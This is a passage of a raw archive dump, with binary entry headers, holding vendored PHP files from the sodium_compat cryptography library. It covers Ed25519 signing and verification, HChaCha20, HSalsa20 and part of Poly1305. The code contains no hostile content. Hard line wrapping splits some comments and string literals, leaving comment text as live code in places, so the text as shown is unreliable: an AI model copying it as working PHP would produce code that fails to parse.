-1,
            0, 0, 0, 0, 3, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, 0, 15, 0, 0,
0,
            0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 7, 0, 0, 0, 0, 5, 0, 0,
0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1
        );

        /** @var array<int,
ParagonIE_Sodium_Core_Curve25519_Ge_Cached> $Ai size 8 */
        $Ai = array();

        # ge_p3_to_cached(&Ai[0], A);
        $Ai[0] = self::ge_p3_to_cached($A);
        # ge_p3_dbl(&t, A);
        $t = self::ge_p3_dbl($A);
        # ge_p1p1_to_p3(&A2, &t);
        $A2 = self::ge_p1p1_to_p3($t);

        for ($i = 1; $i < 8; ++$i) {
            # ge_add(&t, &A2, &Ai[0]);
            $t = self::ge_add($A2, $Ai[$i - 1]);
            # ge_p1p1_to_p3(&u, &t);
            $u = self::ge_p1p1_to_p3($t);
            # ge_p3_to_cached(&Ai[i], &u);
            $Ai[$i] = self::ge_p3_to_cached($u);
        }

        $r = self::ge_p3_0();
        for ($i = 252; $i >= 0; --$i) {
            $t = self::ge_p3_dbl($r);
            if ($aslide[$i] > 0) {
                # ge_p1p1_to_p3(&u, &t);
                $u = self::ge_p1p1_to_p3($t);
                # ge_add(&t, &u, &Ai[aslide[i] / 2]);
                $t = self::ge_add($u, $Ai[(int)($aslide[$i] / 2)]);
            } elseif ($aslide[$i] < 0) {
                # ge_p1p1_to_p3(&u, &t);
                $u = self::ge_p1p1_to_p3($t);
                # ge_sub(&t, &u, &Ai[(-aslide[i]) / 2]);
                $t = self::ge_sub($u, $Ai[(int)(-$aslide[$i] / 2)]);
            }
        }

        # ge_p1p1_to_p3(r, &t);
        return self::ge_p1p1_to_p3($t);
    }
}
PK	�[�9��<�<Kchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/Ed25519.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_Ed25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Ed25519
 */
abstract class ParagonIE_Sodium_Core_Ed25519 extends
ParagonIE_Sodium_Core_Curve25519
{
    const KEYPAIR_BYTES = 96;
    const SEED_BYTES = 32;

    /**
     * @internal You should not use this directly from another application
     *
     * @return string (96 bytes)
     * @throws Exception
     * @throws SodiumException
     * @throws TypeError
     */
    public static function keypair()
    {
        $seed = random_bytes(self::SEED_BYTES);
        $pk = '';
        $sk = '';
        self::seed_keypair($pk, $sk, $seed);
        return $sk . $pk;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $pk
     * @param string $sk
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function seed_keypair(&$pk, &$sk, $seed)
    {
        if (self::strlen($seed) !== self::SEED_BYTES) {
            throw new RangeException('crypto_sign keypair seed must be
32 bytes long');
        }

        /** @var string $pk */
        $pk = self::publickey_from_secretkey($seed);
        $sk = $seed . $pk;
        return $sk;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $keypair
     * @return string
     * @throws TypeError
     */
    public static function secretkey($keypair)
    {
        if (self::strlen($keypair) !== self::KEYPAIR_BYTES) {
            throw new RangeException('crypto_sign keypair must be 96
bytes long');
        }
        return self::substr($keypair, 0, 64);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $keypair
     * @return string
     * @throws TypeError
     */
    public static function publickey($keypair)
    {
        if (self::strlen($keypair) !== self::KEYPAIR_BYTES) {
            throw new RangeException('crypto_sign keypair must be 96
bytes long');
        }
        return self::substr($keypair, 64, 32);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function publickey_from_secretkey($sk)
    {
        /** @var string $sk */
        $sk = hash('sha512', self::substr($sk, 0, 32), true);
        $sk[0] = self::intToChr(
            self::chrToInt($sk[0]) & 248
        );
        $sk[31] = self::intToChr(
            (self::chrToInt($sk[31]) & 63) | 64
        );
        return self::sk_to_pk($sk);
    }

    /**
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function pk_to_curve25519($pk)
    {
        if (self::small_order($pk)) {
            throw new SodiumException('Public key is on a small
order');
        }
        $A = self::ge_frombytes_negate_vartime(self::substr($pk, 0, 32));
        $p1 = self::ge_mul_l($A);
        if (!self::fe_isnonzero($p1->X)) {
            throw new SodiumException('Unexpected zero result');
        }

        # fe_1(one_minus_y);
        # fe_sub(one_minus_y, one_minus_y, A.Y);
        # fe_invert(one_minus_y, one_minus_y);
        $one_minux_y = self::fe_invert(
            self::fe_sub(
                self::fe_1(),
                $A->Y
            )
        );

        # fe_1(x);
        # fe_add(x, x, A.Y);
        # fe_mul(x, x, one_minus_y);
        $x = self::fe_mul(
            self::fe_add(self::fe_1(), $A->Y),
            $one_minux_y
        );

        # fe_tobytes(curve25519_pk, x);
        return self::fe_tobytes($x);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sk_to_pk($sk)
    {
        return self::ge_p3_tobytes(
            self::ge_scalarmult_base(
                self::substr($sk, 0, 32)
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($message, $sk)
    {
        /** @var string $signature */
        $signature = self::sign_detached($message, $sk);
        return $signature . $message;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message A signed message
     * @param string $pk      Public key
     * @return string         Message (without signature)
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_open($message, $pk)
    {
        /** @var string $signature */
        $signature = self::substr($message, 0, 64);

        /** @var string $message */
        $message = self::substr($message, 64);

        if (self::verify_detached($signature, $message, $pk)) {
            return $message;
        }
        throw new SodiumException('Invalid signature');
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_detached($message, $sk)
    {
        # crypto_hash_sha512(az, sk, 32);
        $az =  hash('sha512', self::substr($sk, 0, 32), true);

        # az[0] &= 248;
        # az[31] &= 63;
        # az[31] |= 64;
        $az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);

        # crypto_hash_sha512_init(&hs);
        # crypto_hash_sha512_update(&hs, az + 32, 32);
        # crypto_hash_sha512_update(&hs, m, mlen);
        # crypto_hash_sha512_final(&hs, nonce);
        $hs = hash_init('sha512');
        hash_update($hs, self::substr($az, 32, 32));
        hash_update($hs, $message);
        $nonceHash = hash_final($hs, true);

        # memmove(sig + 32, sk + 32, 32);
        $pk = self::substr($sk, 32, 32);

        # sc_reduce(nonce);
        # ge_scalarmult_base(&R, nonce);
        # ge_p3_tobytes(sig, &R);
        $nonce = self::sc_reduce($nonceHash) . self::substr($nonceHash,
32);
        $sig = self::ge_p3_tobytes(
            self::ge_scalarmult_base($nonce)
        );

        # crypto_hash_sha512_init(&hs);
        # crypto_hash_sha512_update(&hs, sig, 64);
        # crypto_hash_sha512_update(&hs, m, mlen);
        # crypto_hash_sha512_final(&hs, hram);
        $hs = hash_init('sha512');
        hash_update($hs, self::substr($sig, 0, 32));
        hash_update($hs, self::substr($pk, 0, 32));
        hash_update($hs, $message);
        $hramHash = hash_final($hs, true);

        # sc_reduce(hram);
        # sc_muladd(sig + 32, hram, az, nonce);
        $hram = self::sc_reduce($hramHash);
        $sigAfter = self::sc_muladd($hram, $az, $nonce);
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        return $sig;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sig
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_detached($sig, $message, $pk)
    {
        if (self::strlen($sig) < 64) {
            throw new SodiumException('Signature is too short');
        }
        if ((self::chrToInt($sig[63]) & 240) &&
self::check_S_lt_L(self::substr($sig, 32, 32))) {
            throw new SodiumException('S < L - Invalid
signature');
        }
        if (self::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an
order');
        }
        if ((self::chrToInt($sig[63]) & 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($pk[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var bool The original value of
ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up
verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */
        $A = self::ge_frombytes_negate_vartime($pk);

        /** @var string $hDigest */
        $hDigest = hash(
            'sha512',
            self::substr($sig, 0, 32) .
                self::substr($pk, 0, 32) .
                $message,
            true
        );

        /** @var string $h */
        $h = self::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */
        $R = self::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = self::ge_tobytes($R);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;

        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $S
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function check_S_lt_L($S)
    {
        if (self::strlen($S) < 32) {
            throw new SodiumException('Signature must be 32
bytes');
        }
        $L = array(
            0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
            0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
        );
        $c = 0;
        $n = 1;
        $i = 32;

        /** @var array<int, int> $L */
        do {
            --$i;
            $x = self::chrToInt($S[$i]);
            $c |= (
                (($x - $L[$i]) >> 8) & $n
            );
            $n &= (
                (($x ^ $L[$i]) - 1) >> 8
            );
        } while ($i !== 0);

        return $c === 0;
    }

    /**
     * @param string $R
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function small_order($R)
    {
        /** @var array<int, array<int, int>> $blocklist */
        $blocklist = array(
            /* 0 (order 4) */
            array(
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
            ),
            /* 1 (order 1) */
            array(
                0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
            ),
            /*
2707385501144840649318225287225658788936804267575313519463743609750303402022
(order 8) */
            array(
                0x26, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0,
                0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0,
                0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39,
                0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x05
            ),
            /*
55188659117513257062467267217118295137698188065244968500265048394206261417927
(order 8) */
            array(
                0xc7, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f,
                0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f,
                0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6,
                0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0x7a
            ),
            /* p-1 (order 2) */
            array(
                0x13, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0,
                0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0,
                0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39,
                0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x85
            ),
            /* p (order 4) */
            array(
                0xb4, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f,
                0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f,
                0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6,
                0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0xfa
            ),
            /* p+1 (order 1) */
            array(
                0xec, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /*
p+2707385501144840649318225287225658788936804267575313519463743609750303402022
(order 8) */
            array(
                0xed, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /*
p+55188659117513257062467267217118295137698188065244968500265048394206261417927
(order 8) */
            array(
                0xee, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* 2p-1 (order 2) */
            array(
                0xd9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            ),
            /* 2p (order 4) */
            array(
                0xda, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            ),
            /* 2p+1 (order 1) */
            array(
                0xdb, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            )
        );
        /** @var int $countBlocklist */
        $countBlocklist = count($blocklist);

        for ($i = 0; $i < $countBlocklist; ++$i) {
            $c = 0;
            for ($j = 0; $j < 32; ++$j) {
                $c |= self::chrToInt($R[$j]) ^ (int) $blocklist[$i][$j];
            }
            if ($c === 0) {
                return true;
            }
        }
        return false;
    }
}
PK	�[=P�Mchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/HChaCha20.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_HChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_HChaCha20
 */
class ParagonIE_Sodium_Core_HChaCha20 extends
ParagonIE_Sodium_Core_ChaCha20
{
    /**
     * @param string $in
     * @param string $key
     * @param string|null $c
     * @return string
     * @throws TypeError
     */
    public static function hChaCha20($in = '', $key =
'', $c = null)
    {
        $ctx = array();

        if ($c === null) {
            $ctx[0] = 0x61707865;
            $ctx[1] = 0x3320646e;
            $ctx[2] = 0x79622d32;
            $ctx[3] = 0x6b206574;
        } else {
            $ctx[0] = self::load_4(self::substr($c,  0, 4));
            $ctx[1] = self::load_4(self::substr($c,  4, 4));
            $ctx[2] = self::load_4(self::substr($c,  8, 4));
            $ctx[3] = self::load_4(self::substr($c, 12, 4));
        }
        $ctx[4]  = self::load_4(self::substr($key,  0, 4));
        $ctx[5]  = self::load_4(self::substr($key,  4, 4));
        $ctx[6]  = self::load_4(self::substr($key,  8, 4));
        $ctx[7]  = self::load_4(self::substr($key, 12, 4));
        $ctx[8]  = self::load_4(self::substr($key, 16, 4));
        $ctx[9]  = self::load_4(self::substr($key, 20, 4));
        $ctx[10] = self::load_4(self::substr($key, 24, 4));
        $ctx[11] = self::load_4(self::substr($key, 28, 4));
        $ctx[12] = self::load_4(self::substr($in,   0, 4));
        $ctx[13] = self::load_4(self::substr($in,   4, 4));
        $ctx[14] = self::load_4(self::substr($in,   8, 4));
        $ctx[15] = self::load_4(self::substr($in,  12, 4));
        return self::hChaCha20Bytes($ctx);
    }

    /**
     * @param array $ctx
     * @return string
     * @throws TypeError
     */
    protected static function hChaCha20Bytes(array $ctx)
    {
        $x0  = (int) $ctx[0];
        $x1  = (int) $ctx[1];
        $x2  = (int) $ctx[2];
        $x3  = (int) $ctx[3];
        $x4  = (int) $ctx[4];
        $x5  = (int) $ctx[5];
        $x6  = (int) $ctx[6];
        $x7  = (int) $ctx[7];
        $x8  = (int) $ctx[8];
        $x9  = (int) $ctx[9];
        $x10 = (int) $ctx[10];
        $x11 = (int) $ctx[11];
        $x12 = (int) $ctx[12];
        $x13 = (int) $ctx[13];
        $x14 = (int) $ctx[14];
        $x15 = (int) $ctx[15];

        for ($i = 0; $i < 10; ++$i) {
            # QUARTERROUND( x0,  x4,  x8,  x12)
            list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8,
$x12);

            # QUARTERROUND( x1,  x5,  x9,  x13)
            list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9,
$x13);

            # QUARTERROUND( x2,  x6,  x10,  x14)
            list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10,
$x14);

            # QUARTERROUND( x3,  x7,  x11,  x15)
            list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11,
$x15);

            # QUARTERROUND( x0,  x5,  x10,  x15)
            list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10,
$x15);

            # QUARTERROUND( x1,  x6,  x11,  x12)
            list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11,
$x12);

            # QUARTERROUND( x2,  x7,  x8,  x13)
            list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8,
$x13);

            # QUARTERROUND( x3,  x4,  x9,  x14)
            list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9,
$x14);
        }

        return self::store32_le((int) ($x0  & 0xffffffff)) .
            self::store32_le((int) ($x1  & 0xffffffff)) .
            self::store32_le((int) ($x2  & 0xffffffff)) .
            self::store32_le((int) ($x3  & 0xffffffff)) .
            self::store32_le((int) ($x12 & 0xffffffff)) .
            self::store32_le((int) ($x13 & 0xffffffff)) .
            self::store32_le((int) ($x14 & 0xffffffff)) .
            self::store32_le((int) ($x15 & 0xffffffff));
    }
}
PK	�[���YYLchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/HSalsa20.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_HSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_HSalsa20
 */
abstract class ParagonIE_Sodium_Core_HSalsa20 extends
ParagonIE_Sodium_Core_Salsa20
{
    /**
     * Calculate an hsalsa20 hash of a single block
     *
     * HSalsa20 doesn't have a counter and will never be used for more
than
     * one block (used to derive a subkey for xsalsa20).
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $k
     * @param string|null $c
     * @return string
     * @throws TypeError
     */
    public static function hsalsa20($in, $k, $c = null)
    {
        if ($c === null) {
            $x0  = 0x61707865;
            $x5  = 0x3320646e;
            $x10 = 0x79622d32;
            $x15 = 0x6b206574;
        } else {
            $x0  = self::load_4(self::substr($c, 0, 4));
            $x5  = self::load_4(self::substr($c, 4, 4));
            $x10 = self::load_4(self::substr($c, 8, 4));
            $x15 = self::load_4(self::substr($c, 12, 4));
        }
        $x1  = self::load_4(self::substr($k, 0, 4));
        $x2  = self::load_4(self::substr($k, 4, 4));
        $x3  = self::load_4(self::substr($k, 8, 4));
        $x4  = self::load_4(self::substr($k, 12, 4));
        $x11 = self::load_4(self::substr($k, 16, 4));
        $x12 = self::load_4(self::substr($k, 20, 4));
        $x13 = self::load_4(self::substr($k, 24, 4));
        $x14 = self::load_4(self::substr($k, 28, 4));
        $x6  = self::load_4(self::substr($in, 0, 4));
        $x7  = self::load_4(self::substr($in, 4, 4));
        $x8  = self::load_4(self::substr($in, 8, 4));
        $x9  = self::load_4(self::substr($in, 12, 4));

        for ($i = self::ROUNDS; $i > 0; $i -= 2) {
            $x4 ^= self::rotate($x0 + $x12, 7);
            $x8 ^= self::rotate($x4 + $x0, 9);
            $x12 ^= self::rotate($x8 + $x4, 13);
            $x0 ^= self::rotate($x12 + $x8, 18);
            $x9 ^= self::rotate($x5 + $x1, 7);
            $x13 ^= self::rotate($x9 + $x5, 9);
            $x1 ^= self::rotate($x13 + $x9, 13);
            $x5 ^= self::rotate($x1 + $x13, 18);
            $x14 ^= self::rotate($x10 + $x6, 7);
            $x2 ^= self::rotate($x14 + $x10, 9);
            $x6 ^= self::rotate($x2 + $x14, 13);
            $x10 ^= self::rotate($x6 + $x2, 18);
            $x3 ^= self::rotate($x15 + $x11, 7);
            $x7 ^= self::rotate($x3 + $x15, 9);
            $x11 ^= self::rotate($x7 + $x3, 13);
            $x15 ^= self::rotate($x11 + $x7, 18);
            $x1 ^= self::rotate($x0 + $x3, 7);
            $x2 ^= self::rotate($x1 + $x0, 9);
            $x3 ^= self::rotate($x2 + $x1, 13);
            $x0 ^= self::rotate($x3 + $x2, 18);
            $x6 ^= self::rotate($x5 + $x4, 7);
            $x7 ^= self::rotate($x6 + $x5, 9);
            $x4 ^= self::rotate($x7 + $x6, 13);
            $x5 ^= self::rotate($x4 + $x7, 18);
            $x11 ^= self::rotate($x10 + $x9, 7);
            $x8 ^= self::rotate($x11 + $x10, 9);
            $x9 ^= self::rotate($x8 + $x11, 13);
            $x10 ^= self::rotate($x9 + $x8, 18);
            $x12 ^= self::rotate($x15 + $x14, 7);
            $x13 ^= self::rotate($x12 + $x15, 9);
            $x14 ^= self::rotate($x13 + $x12, 13);
            $x15 ^= self::rotate($x14 + $x13, 18);
        }

        return self::store32_le($x0) .
            self::store32_le($x5) .
            self::store32_le($x10) .
            self::store32_le($x15) .
            self::store32_le($x6) .
            self::store32_le($x7) .
            self::store32_le($x8) .
            self::store32_le($x9);
    }
}
PK	�[��p2p2Rchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/Poly1305/State.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_Poly1305_State', false))
{
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Poly1305_State
 */
class ParagonIE_Sodium_Core_Poly1305_State extends
ParagonIE_Sodium_Core_Util
{
    /**
     * @var array<int, int>
     */
    protected $buffer = array();

    /**
     * @var bool
     */
    protected $final = false;

    /**
     * @var array<int, int>
     */
    public $h;

    /**
     * @var int
     */
    protected $leftover = 0;

    /**
     * @var int[]
     */
    public $r;

    /**
     * @var int[]
     */
    public $pad;

    /**
     * ParagonIE_Sodium_Core_Poly1305_State constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key
     * @throws InvalidArgumentException
     * @throws TypeError
     */
    public function __construct($key = '')
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Poly1305 requires a 32-byte key'
            );
        }
        /* r &= 0xffffffc0ffffffc0ffffffc0fffffff */
        $this->r = array(
            (int) ((self::load_4(self::substr($key, 0, 4))) &
0x3ffffff),
            (int) ((self::load_4(self::substr($key, 3, 4)) >> 2)
& 0x3ffff03),
            (int) ((self::load_4(self::substr($key, 6, 4)) >> 4)
& 0x3ffc0ff),
            (int) ((self::load_4(self::substr($key, 9, 4)) >> 6)
& 0x3f03fff),
            (int) ((self::load_4(self::substr($key, 12, 4)) >> 8)
& 0x00fffff)
        );

        /* h = 0 */
        $this->h = array(0, 0, 0, 0, 0);

        /* save pad for later */
        $this->pad = array(
            self::load_4(self::substr($key, 16, 4)),
            self::load_4(self::substr($key, 20, 4)),
            self::load_4(self::substr($key, 24, 4)),
            self::load_4(self::substr($key, 28, 4)),
        );

        $this->leftover = 0;
        $this->final = false;
    }

    /**
     * Zero internal buffer upon destruction
     */
    public function __destruct()
    {
        $this->r[0] ^= $this->r[0];
        $this->r[1] ^= $this->r[1];
        $this->r[2] ^= $this->r[2];
        $this->r[3] ^= $this->r[3];
        $this->r[4] ^= $this->r[4];
        $this->h[0] ^= $this->h[0];
        $this->h[1] ^= $this->h[1];
        $this->h[2] ^= $this->h[2];
        $this->h[3] ^= $this->h[3];
        $this->h[4] ^= $this->h[4];
        $this->pad[0] ^= $this->pad[0];
        $this->pad[1] ^= $this->pad[1];
        $this->pad[2] ^= $this->pad[2];
        $this->pad[3] ^= $this->pad[3];
        $this->leftover = 0;
        $this->final = true;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public function update($message = '')
    {
        $bytes = self::strlen($message);
        if ($bytes < 1) {
            return $this;
        }

        /* handle leftover */
        if ($this->leftover) {
            $want = ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE -
$this->leftover;
            if ($want > $bytes) {
                $want = $bytes;
            }
            for ($i = 0; $i < $want; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this->buffer[$this->leftover + $i] = $mi;
            }
            // We snip off the leftmost bytes.
            $message = self::substr($message, $want);
            $bytes = self::strlen($message);
            $this->leftover += $want;
            if ($this->leftover <
ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
                // We still don't have enough to run
$this->blocks()
                return $this;
            }

            $this->blocks(
                self::intArrayToString($this->buffer),
                ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
            );
            $this->leftover = 0;
        }

        /* process full blocks */
        if ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
            /** @var int $want */
            $want = $bytes &
~(ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE - 1);
            if ($want >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
                $block = self::substr($message, 0, $want);
                if (self::strlen($block) >=
ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
                    $this->blocks($block, $want);
                    $message = self::substr($message, $want);
                    $bytes = self::strlen($message);
                }
            }
        }

        /* store leftover */
        if ($bytes) {
            for ($i = 0; $i < $bytes; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this->buffer[$this->leftover + $i] = $mi;
            }
            $this->leftover = (int) $this->leftover + $bytes;
        }
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param int $bytes
     * @return self
     * @throws TypeError
     */
    public function blocks($message, $bytes)
    {
        if (self::strlen($message) < 16) {
            $message = str_pad($message, 16, "\x00",
STR_PAD_RIGHT);
        }
        /** @var int $hibit */
        $hibit = $this->final ? 0 : 1 << 24; /* 1 << 128 */
        $r0 = (int) $this->r[0];
        $r1 = (int) $this->r[1];
        $r2 = (int) $this->r[2];
        $r3 = (int) $this->r[3];
        $r4 = (int) $this->r[4];

        $s1 = self::mul($r1, 5, 3);
        $s2 = self::mul($r2, 5, 3);
        $s3 = self::mul($r3, 5, 3);
        $s4 = self::mul($r4, 5, 3);

        $h0 = $this->h[0];
        $h1 = $this->h[1];
        $h2 = $this->h[2];
        $h3 = $this->h[3];
        $h4 = $this->h[4];

        while ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
            /* h += m[i] */
            $h0 +=  self::load_4(self::substr($message, 0, 4))       &
0x3ffffff;
            $h1 += (self::load_4(self::substr($message, 3, 4)) >> 2)
& 0x3ffffff;
            $h2 += (self::load_4(self::substr($message, 6, 4)) >> 4)
& 0x3ffffff;
            $h3 += (self::load_4(self::substr($message, 9, 4)) >> 6)
& 0x3ffffff;
            $h4 += (self::load_4(self::substr($message, 12, 4)) >> 8)
| $hibit;

            /* h *= r */
            $d0 = (
                self::mul($h0, $r0, 25) +
                self::mul($s4, $h1, 26) +
